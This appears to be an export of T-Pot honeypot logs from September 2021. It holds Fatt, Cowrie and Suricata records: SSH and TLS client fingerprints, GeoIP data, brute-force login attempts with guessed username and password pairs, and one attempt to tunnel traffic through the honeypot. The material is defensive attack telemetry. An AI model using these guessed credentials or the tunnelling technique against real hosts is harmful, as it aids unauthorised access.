28433	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:17:48.398512+03	2021-09-20 14:30:02.825554+03	{"_id": "wgbtAnwBvYTbRNuEJi5f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 47954, "dest_port": 22, "timestamp": "2021-09-20T11:17:48.398512", "@timestamp": "2021-09-20T11:17:48.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28480	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:17:51.691362+03	2021-09-20 14:30:02.887523+03	{"_id": "8wbtAnwBvYTbRNuEMi77", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [yq/yq@123] failed", "session": "f9e93abe46a4", "@version": "1", "password": "yq@123", "username": "yq", "timestamp": "2021-09-20T11:17:51.691362Z", "@timestamp": "2021-09-20T11:17:51.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28434	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:17:48.399297+03	2021-09-20 14:30:02.827554+03	{"_id": "xwbtAnwBvYTbRNuEJy5B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "4b1b382aa686", "@version": "1", "timestamp": "2021-09-20T11:17:48.399297Z", "@timestamp": "2021-09-20T11:17:48.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28435	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:17:48.609333+03	2021-09-20 14:30:02.828554+03	{"_id": "yAbtAnwBvYTbRNuEJy5B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "4b1b382aa686", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:17:48.609333Z", "@timestamp": "2021-09-20T11:17:48.609Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
28436	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:17:48.67645+03	2021-09-20 14:30:02.830523+03	{"_id": "yQbtAnwBvYTbRNuEJy5D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "96.43.128.70", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 96.43.128.70:80 from 0.0.0.0:0", "session": "4b1b382aa686", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:17:48.676450Z", "@timestamp": "2021-09-20T11:17:48.676Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
28437	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:48.248641+03	2021-09-20 14:30:02.831523+03	{"_id": "1AbtAnwBvYTbRNuEJy5D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 8 seconds", "session": "2feb97ee9362", "@version": "1", "duration": 8.094434976577759, "timestamp": "2021-09-20T11:17:48.248641Z", "@timestamp": "2021-09-20T11:17:48.248Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28438	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:17:43.89209+03	2021-09-20 14:30:02.832523+03	{"_id": "qwbtAnwBvYTbRNuEFS53", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 688278941915491, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50172, "dest_port": 22, "timestamp": "2021-09-20T11:17:43.892090Z", "@timestamp": "2021-09-20T11:17:43.892Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28439	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:43.894959+03	2021-09-20 14:30:02.834524+03	{"_id": "rAbtAnwBvYTbRNuEFi69", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50172, "timestamp": "2021-09-20T11:17:43.894959", "@timestamp": "2021-09-20T11:17:43.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28441	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:17:45.142041+03	2021-09-20 14:30:02.837553+03	{"_id": "rgbtAnwBvYTbRNuEGi6l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50172, "dest_port": 22, "timestamp": "2021-09-20T11:17:45.142041", "@timestamp": "2021-09-20T11:17:45.142Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28442	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:45.084771+03	2021-09-20 14:30:02.839524+03	{"_id": "rwbtAnwBvYTbRNuEGy6G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "68326f9ed09c", "@version": "1", "duration": 7.176746368408203, "timestamp": "2021-09-20T11:17:45.084771Z", "@timestamp": "2021-09-20T11:17:45.084Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28443	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:47.751476+03	2021-09-20 14:30:02.840524+03	{"_id": "wwbtAnwBvYTbRNuEJi5f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35020, "dest_port": 443, "timestamp": "2021-09-20T11:17:47.751476", "@timestamp": "2021-09-20T11:17:47.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28444	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:17:38.186784+03	2021-09-20 14:30:02.841523+03	{"_id": "eAbsAnwBvYTbRNuE_i4D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 66202320864808, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54834, "dest_port": 22, "timestamp": "2021-09-20T11:17:38.186784Z", "@timestamp": "2021-09-20T11:17:38.186Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28445	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:37.909035+03	2021-09-20 14:30:02.842524+03	{"_id": "egbsAnwBvYTbRNuE_y5I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54834, "timestamp": "2021-09-20T11:17:37.909035", "@timestamp": "2021-09-20T11:17:37.909Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28446	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:38.21977+03	2021-09-20 14:30:02.844525+03	{"_id": "ewbtAnwBvYTbRNuEAC4n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "68326f9ed09c", "@version": "1", "timestamp": "2021-09-20T11:17:38.219770Z", "@timestamp": "2021-09-20T11:17:38.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 